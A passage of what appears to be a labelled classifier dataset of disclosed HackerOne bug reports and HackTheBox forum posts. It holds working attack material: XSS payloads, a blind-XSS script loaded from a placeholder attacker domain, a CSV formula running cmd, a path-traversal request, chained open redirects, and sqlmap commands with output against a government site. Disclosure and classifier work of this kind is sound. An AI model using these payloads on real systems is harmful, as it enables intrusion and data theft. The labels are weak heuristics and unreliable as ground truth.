problem)\n- Only content window can send postMessages (which is cool, as it's attacker website)\n- If **message** attribute of postMessage data has `link` value - crazy things are happening\n- most important ```c.top.location.href = t.value``` where `t` is postMessage data controlled by attacker. \n\nThe last point obviously can lead to XSS if attacker will use ```javascript:alert(document.domain)``` as `t.value`, however - before it happen important check is made:\n\n```javascript\n     if (a = d.createElement(\"a\"),\n                                    i = d.createElement(\"a\"),\n                                    a.href = r.getAttribute(\"src\"),\n                                    i.href = t.value,\n                                    i.host === a.host)\n```\n\nThis code checks if **hostname** provided in ```t.value``` is the same as **hostname** of embed page. It create `<a>` element, but `t.value` as `href` attribute and then - takes `host` attribute of created URL. This approach is of course way better than some regexp magic ;-) but there's a behavior specific in Safari browser:\n\n```\n> var a = document.createElement(\"a\")\n> a.href=\"javascript://google.com/%0aalert(document.domain);//\"\n> console.log(a.host)\n< google.com\n```\n\nAll other browsers return empty string in case of using `javascript:` scheme, but not Safari. :) This could lead attacker to use `javascript` schema and execute javascript code in top window (victim's blog)\n\n\n## Steps To Reproduce:\n\n1. Get evil wordpress instance ;-) \n2. Edit `wordpress/wp-includes/theme-compat/embed.php` file and add your custom HTML code:\n\n```html\n<script>\nif(document.location.hash.indexOf(\"secret\") != -1) {\n  secret = document.location.hash.split(\"=\")[1];\n  window.top.postMessage({\"secret\":secret,\"message\":\"link\",\"value\":\"javascript://\"+document.location.host+\"/%0aalert(document.domain);//\"},\"*\");\n}\n</script>\n```\n3. Create any po", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bdecff49f441bf3998dd", "text": "[Security Through Obscurity] Chained open redirects and use of Ideographic Full Stop defeat Twitter's  approach to blocking links\n\n**Summary:** A chain of two open redirects (on `analytics.twitter.com` and `twitter.com`), coupled with the use of an Ideographic Full Stop allows an attacker to defeat [Twitter's approach to blocking links](https://help.twitter.com/en/safety-and-security/phishing-spam-and-malware-links).\n\n**Description:** Twitter maintains a deny list of domain names and prevents users from tweeting (direct or indirect) links to those domains. Most notably perhaps, Twitter recently added (tsk tsk...) `ddosecrets.com` to that deny list. The link validation performed by the backend is a black box (not documented anywhere public, as far as I know). However, I have found a way to defeat it. By combining the following two open (one internal, one external) redirects,\n\n* `https://twitter.com/login?redirect_after_login=ONLY_TWITTER_SUBDOMAINS_ALLOWED_URL`\n* `https://analytics.twitter.com/daa/0/daa_optout_actions?action_id=4&rd=ARBITRARY_URL%3F` (note the URL-encoded question mark at the end)\n\nand using an [Ideographic Full Stop](https://unicode-table.com/en/3002/) in place of the ASCII period in the malicious target URL, it's possible to craft a URL that redirects to the forbidden domain name but that Twitter allows users to post in tweets.\n\n## Steps To Reproduce:\n\n  1. Choose the target URL; let's take `https://ddosecrets.com` as an example.\n  2. Replace all occurrences of the ASCII period by the URL-encoded version of the [Ideographic Full Stop](https://unicode-table.com/en/3002/), i.e. `%E3%80%82`: `https://ddosecrets%E3%80%82com`.\n  3. URL-encode the result of step 2: `https%3A%2F%2Fddosecrets%25E3%2580%2582com`.\n  4.  Append the result of step 3 to `https://analytics.twitter.com/daa/0/daa_optout_actions?action_id=4&rd=` and append `%3F` to the result: `https://analytics.twitter.com/daa/0/daa_optout_actions?action_id=4&rd=https%3A%2F%2Fddosecrets%25E3%2580%2582com%3F`.\n  5. URL-encode the result of step 4: `https%3A%2F%2Fanalytics.twitter.com%2Fdaa%2F0%2Fdaa_optout_actions%3Faction_id%3D4%26rd%3Dhttps%253A%252F%252Fddosecrets%2525E3%252580%252582com%253F`.\n  6. Append the result of step 5 to `https://twitter.com/login?redirect_after_login=`: `https://twitter.com/login?redirect_after_login=https%3A%2F%2Fanalytics.twitter.com%2Fdaa%2F0%2Fdaa_optout_actions%3Faction_id%3D4%26rd%3Dhttps%253A%252F%252Fddosecrets%2525E3%252580%252582com%253F`.\n  7. Log in to Twitter and tweet the URL resulting from step 6. Posting the tweet will succeed (but it shouldn't, if link validation were effective).\n  8. Click the malicious link in the tweet you just posted; you'll get redirected to the forbidden domain without being shown any Twitter interstitial page.\n\n(If you're not logged in to Twitter when you click the malicious link, you'll get prompted to log in, but you will still get redirected to the forbidden domain afterwards.)\n\n## Supporting Material/References:\n\nSee attached proof-of-concept video.\n\n## Impact\n\nAttackers can defeat [Twitter's approach to blocking links](https://help.twitter.com/en/safety-and-security/phishing-spam-and-malware-links) and post arbitrary unsafe links (starting with `https://twitter.com`, which really compounds the problem) in tweets.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0a24d40a17e31d499064", "text": "[Unknown] [Python] Unsafe Unpacking and TarSlip bug slaying\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f57c902a50d0e7ccd3c4", "text": "[Cross-site Scripting (XSS) - Generic] Rails ActionView sanitize helper bypass leading to XSS using SVG tag.\n\nIn the specific configuration, it was possible to bypass HTML sanitization by using the `use` tag of the `SVG` element.\n\nIn the `index.html.erb`:\n\n```ruby\n<%= sanitize \"<svg><use href=\\\"#x\\\"/></svg>\", tags: %w(svg use) %>\n```\n`use` tag allows to embed another base64 encoded `SVG` containing target XSS payload, base64 after decoding:\n\n```svg\n<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='1337' height='1337'>\n<image href=\"1\" onerror=\"alert(window.origin)\" />\n</svg>\n```\n`SVG` and `use` tags had to be allowed either in global configuration  `config.action_view.sanitized_allowed_tags = ['svg', 'use']`\nor inline with `tags` argument of the helper.\n\n## Impact\n\nXSS could lead to data theft through the attacker’s ability to manipulate data through their access to the application, and their ability to interact with other users, including performing other malicious attacks, which would appear to originate from a legitimate user. These malicious actions could also result in reputational damage for the business through the impact on customers’ trust.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "882ce4afa288ee9e0cf9", "text": "Thank you everybody, this topic helped a lot. Another hint, there are 3 fields with = that could be used on the injection. Make sure to test all of them.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-04-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9c513c97ca62c66ca4e1", "text": "[SQL Injection] Sql Injection At █████████\n\n**Description:**\nHi Security Team I Hope You Are Doing Well \n\nSql Injection is a common attack vector that uses malicious SQL code for backend database manipulation to access information that was not intended to be displayed.\n\n\n1: Visit This Endpoint ``  https://█████/ `` As You Can See This Website Using Asp.net That's Mean To Os Equal Windows.\n2: Visit This Endpoint `` https://█████/ProductMaps/PubForm/Details.aspx?PUB_ID=4568 `` As You Experienced  Sometimes To Check The Parameters Put``  '  `` To Know Vulnerable Or Not , If You Put `` ' `` In This Request As `` https://████████/ProductMaps/PubForm/Details.aspx?PUB_ID=4568' `` The Response Said Invalid Request Means To Maybe Vulnerable.\n3: So I Decided To Sure That This Endpoint Vulnerable To Sql Injection  Or Not , I Using Sqlmap As You Can See In My PoC Video.\n\n## References\n\n███\n\n## Impact\n\nThe impact SQL injection can have on a business is far-reaching. A successful attack may result in the unauthorized viewing of user lists, the deletion of entire tables and, in certain cases, the attacker gaining administrative rights to a database, all of which are highly detrimental to a business.\n\n## System Host(s)\n████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1: Visit This Endpoint ``  https://███████/ `` As You Can See This Website Using Asp.net That's Mean To Os Equal Windows.\n2: Visit This Endpoint `` https://██████/ProductMaps/PubForm/Details.aspx?PUB_ID=4568 `` As You Experienced  Sometimes To Check The Parameters Put``  '  `` To Know Vulnerable Or Not , If You Put `` ' `` In This Request As `` https://██████/ProductMaps/PubForm/Details.aspx?PUB_ID=4568' `` The Response Said Invalid Request Means To Maybe Vulnerable.\n3: So I Decided To Sure That This Endpoint Vulnerable To Sql Injection  Or Not , I Using Sqlmap As You Can See In My PoC Video.\n\n\nThanks And King Regards\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d075c244d65323976ab6", "text": "[Cross-site Scripting (XSS) - Stored] Authenticated path traversal to Stored XSS and Denial-of-Service\n\n# Denial-of-Service\nThe vulnerabiity lies on the line `552` of `acp_icons.php`file, when importing emoji from a file we can tell phpBB which file to import from via the paramter `pak`, without any sanitization, the `pak` paramter gets passed dirrectly to `file` the file function, which attemp to read the content of the file to an array.\n{F2705838}\nBecause of the check, reading files like /etc/passwd would not be possible, but if we try to read files like /proc/self/fd/1, the request will hang, a TCP connection will be kept open, the will bring lots of burden to the server. More over, in the case when phpBB is behind a proxy, which may process concurrent request one by one, in this case, if the previous request has not finished, the the rest of requests will have to wait for it to timeout, causing a Denial-of-Service\n\nIn the progress of testing, i use the default HTTP server of PHP, which simulate exactly what a one-by-one request processing proxy would do.\nRequest:\n```\nPOST /adm/index.php?i=acp_icons&mode=smilies&current=delete HTTP/1.1\nHost: 127.0.0.1:8082\nsec-ch-ua: \"Chromium\";v=\"113\", \"Not-A.Brand\";v=\"24\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"Windows\"\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nContent-Type: application/x-www-form-urlencoded\nReferer: http://127.0.0.1:8082/adm/index.php?i=acp_icons&mode=smilies\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nCookie: csrftoken=Ky6rB5uThxl3PwYd6EScmT9WXYiH6rGe; sessionid=hmrhwwo5hj5abu4kqgln2let1x9zudbr; phpbb3_83bmg_u=2; phpbb3_83bmg_k=zalvonnyh1lr16og; phpbb3_83bmg_sid=3ba797a8668f6db1639ac6939d91f96e\nConnection: close\nContent-Length: 137\n\naction=import&pak=../../../../../../../../../proc/self/fd/1&form_token=b2655d5f0c9edb201328b799a61777b26cef16a5&creation_time=1694960302\n```\nResult timed-out and no response received:\n{F2705858}\n\nThis vulnerability can also help an authenticated attacker know which file exist on server by observe the response message, if the file is not found, the error from `$user->lang['PAK_FILE_NOT_READABLE']` would trigger and result in different message than `$user->lang['WRONG_PAK_TYPE']`(when the file exist but has invalid format)\n# Stored XSS\nWhen testing the emoji import, i also observe that the `SMILEY_IMG` isn't sanitized or escaped\n{F2705870} \nSo we can import a malicious emoji file containing the XSS payload, everyone who access the sites (posting section, comment section, admin section, ...) that emoji presents will trigger the XSS payload, leading to web defacement, cookie stealing, malware attack, ... \n```\n'icon_e_biggrin.gif', '15', '17', '1', 'Very Happy', ':D',\n'icon_e_biggrin.gif', '15', '17', '1', 'Very Happy', ':-D',\n'icon_e_biggrin.gif', '15', '17', '1', 'Very Happy', ':grin:',\n'icon_e_smile.gif', '15', '17', '1', 'Smile', ':)',\n'icon_e_smile.gif', '15', '17', '1', 'Smile', ':-)',\n'icon_e_smile.gif', '15', '17', '1', 'Smile', ':smile:',\n'icon_e_wink.gif', '15', '17', '1', 'Wink', ';)',\n'icon_e_wink.gif', '15', '17', '1', 'Wink', ';-)',\n'icon_e_wink.gif', '15', '17', '1', 'Wink', ':wink:',\n'icon_e_sad.gif', '15', '17', '1', 'Sad', ':(',\n'icon_e_sad.gif', '15', '17', '1', 'Sad', ':-(',\n'icon_e_sad.gif', '15', '17', '1', 'Sad', ':sad:',\n'icon_e_surprised.gif', '15', '17', '1', 'Surprised', ':o',\n'icon_e_surprised.gif', '15', '17', '1', 'Surprised', ':-o',\n'icon_e_surprised.gif', '15', '17', '1', 'Surprised', ':eek:',\n'icon_eek.gif', '15', '17', '1', 'Shocked', ':shock:',\n'icon_e_confused.gif', '15', '17', '1', 'Confused', ':?',\n'icon_e_confused.gif', '15', '17', '1', 'Confused', ':-?',\n'icon_e_confused.gif', '15', '17', '1', 'Confused', ':???:',\n'\"onmouseover=al", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a403cd6ccd2228ba986d", "text": "[Improper Access Control - Generic] fs.statfs bypasses Permission Model\n\n**Summary:**\n\n`fs.statfs` is not limited by the permission model check\n\n**Description:**\n\n`fs.statfs` doesn't throw ERR_ACCESS_DENIED when accessing an restricted path, being able to get stat information of the file\n\n## Steps To Reproduce:\n\n```console\ntouch ./test.js\n```\n\n```js\n// index.js\nconst fs = require('fs')\n\nfs.statfs('./test.js', (err, stats) => {\n  console.log('stats', stats)\n})\n```\n\n```\n$ node --experimental-permission --allow-fs-read=/path/to/index.js\n(node:756097) ExperimentalWarning: Permission is an experimental feature\n(Use `node --trace-warnings ...` to show where the warning was created)\nstats StatFs {\n  type: 61267,\n  bsize: 4096,\n  blocks: 56377128,\n  bfree: 27380986,\n  bavail: 24498982,\n  files: 14393344,\n  ffree: 12478020\n}\n```\n\n## Impact\n\nEven though it can't read the file contents, it's still can perform I/O against that file to retrieve file stats and to check if a file exists.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0e1599f1edcff84cb02f", "text": "[Uncontrolled Resource Consumption] Specific Payload makes a Users Posts unavailable\n\nGood Morning, \n\nLike we talked about in the email, I'm reporting an issue that I've found that is possible, by crafting a specific payload, other users that try to access **/posts** of a user will face the **500 Internal Server Error** issue, not only when they access the specific crafted post. With this, the posts of the user will be blocked for other users. This could cause other problems like people possibly doing this on other's accounts and blocking all their posts for other users or it could be chained with some other vulnerability in the future.\n\nI found this issue when I was fuzzing with the markdown as I saw you guys were using **Links**, so trying some HTML encodings led me to the following payload: `[PoC](&#65534;(&#41;)`.\n - `&#65534;` decoded will endup a [invalid character](https://charbase.com/fffe-unicode-invalid-character)\n - `&#41;` decoded will endup a `)`. \n\nWith this, we can see that the markdown doesn't take our encoding very well which then causes a 500 Internal Server Error and blocks the **Posts** of any user to other users.\n\nProof that the **Fetlife Security Team** gave me the **go-ahead** to report this issue. \n\n{F1280132}\n\nSteps to Reproduce\n=====================\n\n1. Go to **Write Post**\n2. On the **Body** insert the following payload `[PoC](&#65534;(&#41;)`\n\n{F1280189}\n\n3. Click on **Express Yourself**\n4. We are now faced with the **500 Internal Server Error** and if we try to access https://fetlife.com/users/OUR_USER_ID/posts, we can see that our posts are completely blocked for us and everyone and that we're still faced with a **500 Internal Server Error**.\n\nFinal\n=====================\nThank you for your time, best regards, Rafael Castilho\n\n## Impact\n\nThis could cause other problems like people possibly doing this on other's accounts and blocking all their posts for other users or it could be chained with some other vulnerability in the future.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "607951e3caa412aea42e", "text": "I got to the point where I can read and need to pwn leak . I can call handler and get Bye back. I also understand that there are not enough rop gadgets to call system. I tried ret2csu , but as I understand there are also not enough gadgets for this. I’m trying to ret2dl , w/ pwntools. But it says that it can’t find any instructions for syscall. Given the progression of the challenge, it feels like I’m chasing a rabbithole and it should be simpler than that. Can anyone give a hint?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-07-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "135b6a569cca13a9af81", "text": "[Code Injection] Desktop client can be tricked into opening/executing local files when clicking a nc://open/ link\n\nhttps://github.com/nextcloud/desktop/pull/4771 added support for \"local edit\", this feature is however implemented in an insecure way.\n\n[The code](https://github.com/nextcloud/desktop/blob/ee98244877e8ccaaa8487f2487c31ce112b746c5/src/gui/folderman.cpp#L1476-L1480) is calling into `QDesktopServices::openUrl(QUrl::fromLocalFile(foundFiles.first()));` and `foundFiled.first()` will be the path of the file specified via the deeplink:\n\n```cpp\n    // In case the VFS mode is enabled and a file is not yet hydrated, we must call QDesktopServices::openUrl from a separate thread, or, there will be a freeze.\n    // To avoid searching for a specific folder and checking if the VFS is enabled - we just always call it from a separate thread.\n    QtConcurrent::run([foundFiles] {\n        QDesktopServices::openUrl(QUrl::fromLocalFile(foundFiles.first()));\n    });\n```\n\n`QDesktopServices::openUrl` is however not suited for not trusted user input as it will also execute files directly.\n\n## Proof of concept\n\nThe following proof of concept was performed under Windows 10:\n\n1. In the web interface create a `test.vbs` file such as `MsgBox \"Hallo\", VBOKOnly, \"Ok\"`.\n2. Open `nc://open/mSnmByRJcj6cwKwX@demo1.nextcloud.com/test.vbs` in the browser (adjust username and instance path)\n3. The VB Script will be executed and a popup will appear.\n\n**Note:** This can also be exploited by a remote attacker if they upload a file to the same instance a user has access to.\n\n## Recommendations\n\nThere are several mitigation recommendations here:\n\n- Add a CSRF token to the `nc://open/` link and have the client verify the token on request.\n- Ensure only safe file types can be opened using a local file viewer. \n\n## Disclosure Policy\nPlease note that all bugs reported by [Authentick GmbH](https://www.authentick.net) will be publicly disclosed within 90 days of vendor notification. In extraordinary cases we may increase that upon request by the vendor.\n\n## Impact\n\nThe Nextcloud Desktop Client in version 3.6.0 is vulnerable to a Remote Code Execution that can be exploited by anyone that is able to upload files to an instance the user has access to. **In many cases this will be everyone due to public chats, files drop upload, etc.**\n\nExploitation just requires the victim to visit a malicious web page (or click a link on an email or anything like that)", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0a2a71ccc2f150c43da7", "text": "I don’t know if this is still relevant, but you should think where you could else use the found credentials.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-08-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ce37f66dad384b2bdb58", "text": "[Cross-site Scripting (XSS) - Stored] Blind XSS via Feedback form.\n\n## Summary:\n\nHi Team,\n\n I found Blind XSS which is triggered on the admin panel. I was trying to add widgets on the installation page for default theme. When the installation was done, I saw a question like that Are you happy with how everything looks?. I clicked the No, please remove all widgets button and then the feedback form arrives. I submitted my blind XSS payload. It triggered in 20-30 minutes on https://judge.me/admin which requires the HTTP Basic Authentication. I can't get the admin session cookie but I can collect all of the admin pages.\n\n## Steps To Reproduce:\n\n  1. Go to https://odo-tester.myshopify.com/admin/ and login with the test credentials.** (credentials in the Credentials Header)**\n  1. Click the **Apps** tab from the left side and then click **Judge.me Product Reviews**.\n  1. Click** Add Widgets** then **Start Installation** and continue.\n  1. When the installation is done. It asks **Are you happy with how everything looks?**. Choose  **No, please remove all widgets button**. Feedback form appears and put your blind xss payload.\n  1. Wait for payload triggering.\n\n## Supporting Material/References:\n\nVulnerable Page URL : https://judge.me/admin/██████���█\nReferer: https://judge.me/admin/███\n\nCookies:```http\n██████████████ ```\n\n\n## Credentials\n\n```http\nemail:  ██████████@yopmail.com\npassword: ███████\ntempmail: https://yopmail.com/?judgeme-███████████ ( it can be necessary when you are login )\npayload: \"><script src=https://yourxssdomain></script>\n```\n\n Admin Page\n=====================\n█████\nVulnerable Page\n=====================\n███████ \nSteps to Reproduce Video\n=====================\n████\n\n## Impact\n\nBlind XSS leads to access the admin panel. It may contain information leaks about other shop owners' reports. Executes javascript code on admin panel. Stealing admin cookies.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a94d1e88921f3a4e87cb", "text": "[Command Injection - Generic] CSV Injection at https://assets-paris-demo.codefi.network/\n\n## Summary:\nHi consensys Security Team.\n\nI have found CSV Injection when generate report at https://assets-paris-demo.codefi.network/\n\nCSV Injection, also known as Formula Injection, occurs when websites embed untrusted input inside CSV files.\nWhen a spreadsheet program such as Microsoft Excel or LibreOffice Calc is used to open a CSV, any cells starting with = will be interpreted by the software as a formula. Maliciously crafted formulas can be used for three key attacks:\n\n    - Hijacking the user’s computer by exploiting vulnerabilities in the spreadsheet software, such as CVE-2014-3524.\n    - Hijacking the user’s computer by exploiting the user’s tendency to ignore security warnings in spreadsheets that they downloaded from their own website.\n    - Exfiltrating contents from the spreadsheet, or other open spreadsheets.\n\n\n## Steps To Reproduce:\n1. Create an account at https://assets-paris-demo.codefi.network/ \n2. Go to Client management\n3. Create new client \n4. At Client name* Put this paylaod:- `=cmd|' /C notepad'!'A1'`\n5. After create new client Download the data.\n\n## Supporting Material/References:\n\n{F2002581}\n\n##Similar valid reports at hackerone:-\n   - https://hackerone.com/reports/118582\n   - https://hackerone.com/reports/223344\n   - https://hackerone.com/reports/386116\n\nPlease let me know if need more info.\nBest Regards.\n@doosec101\n\n## Impact\n\nThis vulnerability can be harm for normal user because if malicious user injected any malicious script in token note and when customer user download CSV file then inserted command directly runs when CSV file open.\n\n##FIX:-\n    Prefix =, +, - and @ symbols with a ' in issues when exporting them to a .csv file.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2014-3524"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ec2d6aaa758268195cca", "text": "[SQL Injection] Time Based SQL Injection\n\nHello and greetings and respect to you, dear friends\nWe all know that the sql injection bug is very dangerous, so this bug should be eliminated as soon as possible.\nI've identified an SQL injection vulnerability of  type  Time Based on https://diplomaticrooms.state.gov this site use wordpress  cms but its not plugin sql injection \nBelow, we see how we found this vulnerability \nIf you look carefully, we see that search in the website name Search results The gap has occurred there\nas you can see POST Method  [POST https://diplomaticrooms.state.gov/?s=porcelain,%20gilt ]\nnow it's time to inject or generate POC with lovely tool sqlmap \nWe used a text file here by Name request.txt\nand this is our command in sqlmap you can use this command for your own confidence\n\npython3 sqlmap.py -r  request --batch --random-agent --tamper=space2comment  --level=5 --risk=3 --drop-set-cookie --threads 10  --dbs\n===========================================================================================\nPOST https://diplomaticrooms.state.gov/?s=porcelain,%20gilt HTTP/1.1\nHost: diplomaticrooms.state.gov\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0\nPragma: no-cache\nCache-Control: no-cache\nContent-Type: application/x-www-form-urlencoded\nReferer: https://diplomaticrooms.state.gov/?s=porcelain,%20gilt\nContent-Length: 133\nCookie: AWSALB=Bcs9ZrXwIhoRbHdfPbZAnVhkYJt9OJslAaUUgh5cOw9FMhg/43C2umhc4fQe7PtAorAHMSdr2dNw0asilWMYXjaFigXJhQJ2lxs05WQbpeI/cYRSGXLyo4E+hiQ1; AWSALBCORS=Bcs9ZrXwIhoRbHdfPbZAnVhkYJt9OJslAaUUgh5cOw9FMhg/43C2umhc4fQe7PtAorAHMSdr2dNw0asilWMYXjaFigXJhQJ2lxs05WQbpeI/cYRSGXLyo4E+hiQ1\nConnection: Close\nsearch=porcelain%2C+gilt%27+AND+%28SELECT+*+FROM+%28SELECT%28SLEEP%285%29%29%29Xeps%29+AND+%27HlBp%27%3D%27HlBp&post_types%5B%5D=post\n======================================================================================\n python3 sqlmap.py -r  request --batch --random-agent --tamper=space2comment  --level=5 --risk=3 --drop-set-cookie --threads 10  --dbs\n        ___\n       __H__\n ___ ___[\"]_____ ___ ___  {1.7.1.5#dev}\n|_ -| . [\"]     | .'| . |\n|___|_  [']_|_|_|__,|  _|\n      |_|V...       |_|   https://sqlmap.org\n\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\n\n[*] starting @ 12:21:06 /2023-02-17/\n\n[12:21:06] [INFO] parsing HTTP request from 'request'\n[12:21:06] [INFO] loading tamper module 'space2comment'\n[12:21:06] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5' from file '/home/ubuntu/sqlmap/data/txt/user-agents.txt'\ncustom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y\n[12:21:06] [INFO] resuming back-end DBMS 'mysql'\n[12:21:06] [INFO] testing connection to the target URL\nsqlmap resumed the following injection point(s) from stored session:\n---\nParameter: #1* ((custom) POST)\n    Type: boolean-based blind\n    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)\n    Payload: search=porcelain, gilt' AND (SELECT -9789) OR 6323=6323# FROM (SELECT(SLEEP(5)))Xeps) AND 'HlBp'='HlBp&post_types[]=post\n---\n[12:21:07] [WARNING] changes made by tampering scripts are not included in shown payload content(s)\n[12:21:07] [INFO] the back-end DBMS is MySQL\nweb application technology: Apache, PHP 7.4.16\nback-end DBMS: MySQL 5 (MariaDB fork)\n[12:21:07] [INFO] fetching database names\n[12:21:07] [INFO] fetching number of databases\n[12:21:14] [WARNING] reflective value(s) found and filtering out\n[12:21:14] [INFO] resumed: 6\n[12:21:14] [INFO] retrieving the length of query output\n[12:21:14] [INFO] retrieved: 18\n[12:22:32] [INFO] retrieved: information_schema\n[12:22:32] [INFO] retrieving the length of query output\n[12:22:32] [INFO] retrieved: 5\n[12:23:01] [INFO] retrieved: mysql\n[12:23:01] [INFO] retrievin", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "dd311b22590e8c429cd8", "text": "[Cross-site Scripting (XSS) - Stored] XSS via Mod Log Removed Posts\n\n## Summary:\nI have discovered an XSS vulnerability regarding the mod notes feature. Specifically, the XSS payload executes when the victim removes a post in a subreddit and opens up the mod notes of the attacker.\n\n## Steps To Reproduce:\n\n1. The attacker creates a new post with the title containing the XSS payload.\n2. The victim (mods of the subreddit) then must remove your post.\n3. The payload executes when a victim (subreddit mod) opens up your mod notes. Sometimes, the mod notes are displayed when the victim hovers on your profile (this is true when a recent mod action has been taken on the user). \n\n## Supporting Material/References:\n\n█████\n█████\n\n## Impact\n\nImpact Below:", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "83555e66332a29f99b12", "text": "[Open Redirect] Open Redirect Vulnerability in Action Pack\n\nWe were able to bypass the mechanism that prevents open redirects due to incomplete URL input validation.\nI have reported it below and written a patch to fix it.\nhttps://hackerone.com/reports/1789458\n\n## Impact\n\nVulnerable code will look like this:\n\n```ruby\nredirect_to(params[:some_param])\n```\n\nRails 7.0 introduced protection against open redirects from calling redirect_to with untrusted user input. In prior versions the developer was fully responsible for only providing trusted input. However the check introduced could be bypassed by a carefully crafted URL.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1908e08139ffc70940e9", "text": "[Incorrect Authorization] oauth misconfigration lead to account takeover\n\n## Summary:\nmisconfigration in aouth 2.0 login with google account in \"accounts.reddit.com\"\n\n## Impact:\nmisconfigration leads to account takeover\n\n## Steps To Reproduce:\n\n 1.  go to \"https://accounts.reddit.com/\".\n 2. and login with your google account.\n 3. after login, logout from your account.\n 4. after logout go to \"https://accounts.reddit.com/account/register/\" and register with email you signed in before in google account oauth.\n 5. as like you see it's created a new account \n\n\n  * [attachment / reference]\n\n## Impact\n\nattacker can login with any user's email thats lead to account takeover", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "04f2b2cf356134d5983c", "text": "[Code Injection] HTML injection in email at https://www.hackerone.com/\n\n**Summary:**\nBy filling the firstname and last name with html tags at this form \nhttps://www.hackerone.com/hackers/pentest-community-application\n\nIt is possible to send email via hackerone and add custom html :)\n\n\n**Description:**\n\n### Steps To Reproduce\n\n1. visit https://www.hackerone.com/hackers/pentest-community-application\n2. in first name and last name add html tags ie firstname \"><h1>anything etc. \n3. in email section add email of victim . \n4. submit the form \n5. check the email and see the html injected there \n\n### additional information: \n1.) please check the screenshot to see both the emails ie 1 without payload and one with payload \n\n\n### Optional: Your Environment (Browser version, Device, etc)\n\n * \n\n### Optional: Supporting Material/References (Screenshots)\n\n *\n\n## Impact\n\nAn attacker can send malicious emails from hackerone , inject html in the email :) \nwe all know where it leads to .", "label": 0, "label_name": 